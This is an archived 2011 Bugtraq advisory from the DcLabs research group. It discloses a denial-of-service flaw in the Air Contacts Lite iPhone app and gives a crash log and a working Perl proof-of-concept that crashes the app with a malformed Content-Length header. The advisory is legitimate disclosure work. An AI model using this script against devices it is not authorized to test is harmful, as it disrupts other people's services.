lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 9 Mar 2011 10:49:59 -0800
From: Rodrigo Escobar <ipax@...abs.com.br>
To: bugtraq@...urityfocus.com
Subject: [DCA-2011-0007] Air Contacts Lite (iPhone / iPod App Denial Of Service)

[Discussion]

- DcLabs Security Research Group advises about the following vulnerability(ies):

[Software]

- Air Contacts Lite (By i-NOVATiON GmbH)

[Vendor Product Description]

- Sharing contacts can't be easier. Wireless access to your iPhone
contacts from your Mac or PC.
This is the Lite Version of Air Contacts. If you want more features
please upgrade to the normal version.

Source:  - http://itunes.apple.com/us/app/air-contacts-lite/id3084752

[Advisory Timeline]

- 01/26/2011 -> Advisory sent to vendor. (No response)
- 02/15/2011 -> Advisory sent again to vendor. (No response)
- 03/04/2011 -> Advisory published.

[Impact]

- Low

[Affected Version]

- Air Contacts Lite (Free Version)
- Paid version may also be vulnerable
- Prior versions may also be vulnerable

[Bug Description and Proof of Concept]

- While sending crafted HTTP packets the program does not treat
invalid requests entering in a NSException crashing the program.

<NSException>
Tue Jan 25 21:42:02 Program Name[23594] <Error>: *** Terminating app
due to uncaught exception 'NSInvalidArgumentException', reason: '***
-[NSConcreteData initWithBytes:length:copy:freeWhenDone:bytesAreVM:]:
absurd length: 4294967295, maximum size: 2147483648 bytes'
*** Call stack at first throw:
(
     0   CoreFoundation                      0x3048e987
__exceptionPreprocess + 114
     1   libobjc.A.dylib                     0x33a0849d
objc_exception_throw + 24
     2   CoreFoundation                      0x3048e7c9 +[NSException
raise:format:arguments:] + 68
     3   CoreFoundation                      0x3048e803 +[NSException
raise:format:] + 34
     4   Foundation                          0x302d2a51
-[NSConcreteData initWithBytes:length:copy:freeWhenDone:bytesAreVM:] +
108
     5   Foundation                          0x302df845
-[NSData(NSData) initWithBytes:length:] + 36
     6   Foundation                          0x302f224f
+[NSData(NSData) dataWithBytes:length:] + 34
     7   Foundation                          0x303216ab
_performFileHandleSource + 722
     8   CoreFoundation
0x304447dd__CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ +
12
     9   CoreFoundation                      0x304165b7
__CFRunLoopDoSources0 + 382
     10  CoreFoundation                      0x30415e5b __CFRunLoopRun + 230
     11  CoreFoundation                      0x30415c87
CFRunLoopRunSpecific + 230
     12  CoreFoundation                      0x30415b8f CFRunLoopRunInMode + 58
     13  GraphicsServices                    0x31eec4ab GSEventRunModal + 114
     14  GraphicsServices                    0x31eec557 GSEventRun + 62
     15  UIKit                               0x313cf329
-[UIApplication _run] + 412
     16  UIKit                               0x313cce93 UIApplicationMain + 670
     17  Program Name                   0x00002f07 main + 42
     18  Program Name                   0x00002ea4 start + 52
)
<END NSException>

[PoC]

# Air contacts Lite (Denial of Service)
#!/usr/bin/perl
use IO::Socket;
      if (@ARGV < 1) {
              usage();
      }
      $ip     = $ARGV[0];
      $port   = $ARGV[1];
      print "[+] Sending request...\n";
      $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
      print $socket "GET http://www.dclabs.com.br HTTP/1.1\r\n";
      print $socket "Host: http://www.dclabs.com.br\r\n";
      print $socket "Content-Length: 0\x78\x41\x71\x69\r\n\r\n";
      sleep(2);
      close($socket);
      print "[+] Done!\n";

sub usage() {
      print "[-] DcLabs - Air Contacts Lite (DoS)\n\n";
      print "[-] Usage: <". $0 ."> <host> <port>\n";
      print "[-] Example: ". $0 ." 127.0.0.1 80\n";
      exit;
}

All flaws described here were discovered and researched by:
Rodrigo Escobar aka ipax.
DcLabs Security Research Group
ipax (at) dclabs <dot> com <dot> br

[Patch(s) / Workaround]

No patch(s) / workaround(s) were provided.

[Greetz]

DcLabs Security Research Group.

--
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ